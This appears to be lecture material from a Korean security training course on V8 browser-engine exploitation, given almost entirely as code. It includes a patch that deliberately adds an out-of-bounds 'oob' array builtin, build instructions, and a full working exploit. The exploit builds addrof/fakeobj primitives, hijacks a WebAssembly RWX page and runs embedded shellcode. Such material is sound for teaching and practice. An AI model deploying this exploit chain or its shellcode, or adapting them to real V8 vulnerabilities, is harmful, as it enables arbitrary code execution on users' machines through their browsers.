BoB 8기 특강 자료
oob.diff
wget http://lordofpwn.kr:8000/youngjoo/bob8/oob.diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
build
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH:/path/to/depot_tools"
fetch v8
cd v8
build/install-build-deps.sh
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ../oob.diff
gclient sync
./tools/dev/gm.py x64.release
exploit
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(d) {
let val = d2u(d);
return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16));
}
gc();
let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let arr1 = [1.1];
let arr2 = [{}].slice();
arr1Map = arr1.oob();
arr2Map = arr2.oob();
let addrof = function(obj) {
arr2[0] = obj;
arr2.oob(arr1Map);
var leak = arr2[0];
arr2.oob(arr2Map);
return leak;
}
let fakeobj = function(addr) {
arr1[0] = addr;
arr1.oob(arr2Map);
var obj = arr1[0];
arr1.oob(arr1Map);
return obj;
}
let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
print("array buffer : " + hex(abAddr));
let wasmObj = addrof(f) - u2d(0x180,0);
var fake = [
arr1Map, 0,
wasmObj, u2d(0,0x8)
].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);
print("fake_addr : " + hex(fakeAddr));
var target = fakeobj(fakeAddr);
let rwx = target[0];
print("rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;
let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i*4, shellcode[i]);
}
f();